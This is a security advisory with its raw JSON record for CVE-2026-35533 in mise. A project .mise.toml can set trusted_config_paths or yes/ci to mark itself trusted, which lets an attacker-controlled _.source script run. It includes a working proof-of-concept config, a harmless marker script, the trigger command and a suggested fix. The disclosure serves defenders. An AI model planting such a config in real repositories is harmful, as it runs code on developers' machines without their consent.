GHSA-436V-8FW5-4MJ8
Vulnerability from github – Published: 2026-04-07 20:13 – Updated: 2026-04-07 22:16Summary
mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.
The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.
Details
The vulnerable load order is:
Settings::try_get()preloads local settings files.parse_settings_file()returnssettings_file.settingswithout checking whether the file is trusted.trust_check()later consults those already-loaded settings.
The main trust-bypass path is in is_trusted():
let settings = Settings::get();
for p in settings.trusted_config_paths() {
if canonicalized_path.starts_with(p) {
add_trusted(canonicalized_path.to_path_buf());
return true;
}
}
If a local project file sets:
[settings]
trusted_config_paths = ["/"]
then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.
Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.
PoC
Test environment:
- Docker
linux-arm64mise v2026.3.17
Negative control:
[env]
_.source = ["./poc.sh"]
mise ls fails with:
Config files in /work/poc/.mise.toml are not trusted.
and /tmp/mise-proof.txt is not created.
Primary exploit:
[settings]
trusted_config_paths = ["/"]
[env]
_.source = ["./poc.sh"]
with:
#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txt
Then:
mise hook-env -s bash --force
Observed:
/tmp/mise-proof.txt => trusted_paths_hookenv
Related regression check:
v2026.2.17: localyes = truedoes not bypass trustv2026.2.18: the same localyes = truevalue auto-approves the trust prompt and the side effect file is created
Impact
An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.
Demonstrated on current supported versions:
- execution via
[env] _.sourceduringmise hook-env - bypass of the protection that
mise trustis supposed to provide for dangerous config features
On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.
Suggested Fix
Do not honor trust-control settings from non-global project config files.
At minimum, ignore these fields when loading local project config:
trusted_config_pathsyesciparanoid
For example:
pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
let raw = file::read_to_string(path)?;
let settings_file: SettingsFile = toml::from_str(&raw)?;
let mut settings = settings_file.settings;
if !config::is_global_config(path) {
settings.yes = None;
settings.ci = None;
settings.trusted_config_paths = None;
settings.paranoid = None;
}
Ok(settings)
}
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "mise"
},
"ranges": [
{
"events": [
{
"introduced": "2026.2.18"
},
{
"last_affected": "2026.4.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35533"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T20:13:11Z",
"nvd_published_at": "2026-04-07T21:17:17Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks.\n\nThe strongest current variant is `trusted_config_paths = [\"/\"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also lets local `yes = true` / `ci = true` auto-approve trust prompts on `v2026.2.18+`, but the primary PoC below uses the stronger `trusted_config_paths` path.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads local settings files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the file is trusted.\n3. [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L297-L321) later consults those already-loaded settings.\n\nThe main trust-bypass path is in [`is_trusted()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L324-L387):\n\n```rust\nlet settings = Settings::get();\nfor p in settings.trusted_config_paths() {\n if canonicalized_path.starts_with(p) {\n add_trusted(canonicalized_path.to_path_buf());\n return true;\n }\n}\n```\n\nIf a local project file sets:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n```\n\nthen every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.\n\nRelated variant: [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L307-L316) auto-accepts explicit trust prompts when `Settings::get().yes` is true, and [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L330-L332) sets `yes = true` when `ci` is set. I confirmed that regression on `v2026.2.18`, but the primary PoC below does not depend on it.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```toml\n[env]\n_.source = [\"./poc.sh\"]\n```\n\n`mise ls` fails with:\n\n```text\nConfig files in /work/poc/.mise.toml are not trusted.\n```\n\nand `/tmp/mise-proof.txt` is not created.\n\nPrimary exploit:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n\n[env]\n_.source = [\"./poc.sh\"]\n```\n\nwith:\n\n```bash\n#!/usr/bin/env bash\necho trusted_paths_hookenv \u003e /tmp/mise-proof.txt\n```\n\nThen:\n\n```bash\nmise hook-env -s bash --force\n```\n\nObserved:\n\n```text\n/tmp/mise-proof.txt =\u003e trusted_paths_hookenv\n```\n\nRelated regression check:\n\n- `v2026.2.17`: local `yes = true` does not bypass trust\n- `v2026.2.18`: the same local `yes = true` value auto-approves the trust prompt and the side effect file is created\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can make `mise` trust and evaluate dangerous directives from that same untrusted file.\n\nDemonstrated on current supported versions:\n\n- execution via `[env] _.source` during `mise hook-env`\n- bypass of the protection that `mise trust` is supposed to provide for dangerous config features\n\nOn newer versions, the same root cause also lets local `yes` / `ci` values auto-approve explicit trust prompts.\n\n### Suggested Fix\n\nDo not honor trust-control settings from non-global project config files.\n\nAt minimum, ignore these fields when loading local project config:\n\n- `trusted_config_paths`\n- `yes`\n- `ci`\n- `paranoid`\n\nFor example:\n\n```rust\npub fn parse_settings_file(path: \u0026Path) -\u003e Result\u003cSettingsPartial\u003e {\n let raw = file::read_to_string(path)?;\n let settings_file: SettingsFile = toml::from_str(\u0026raw)?;\n let mut settings = settings_file.settings;\n\n if !config::is_global_config(path) {\n settings.yes = None;\n settings.ci = None;\n settings.trusted_config_paths = None;\n settings.paranoid = None;\n }\n\n Ok(settings)\n}\n```",
"id": "GHSA-436v-8fw5-4mj8",
"modified": "2026-04-07T22:16:54Z",
"published": "2026-04-07T20:13:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jdx/mise/security/advisories/GHSA-436v-8fw5-4mj8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35533"
},
{
"type": "PACKAGE",
"url": "https://github.com/jdx/mise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Local settings bypass config trust checks"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.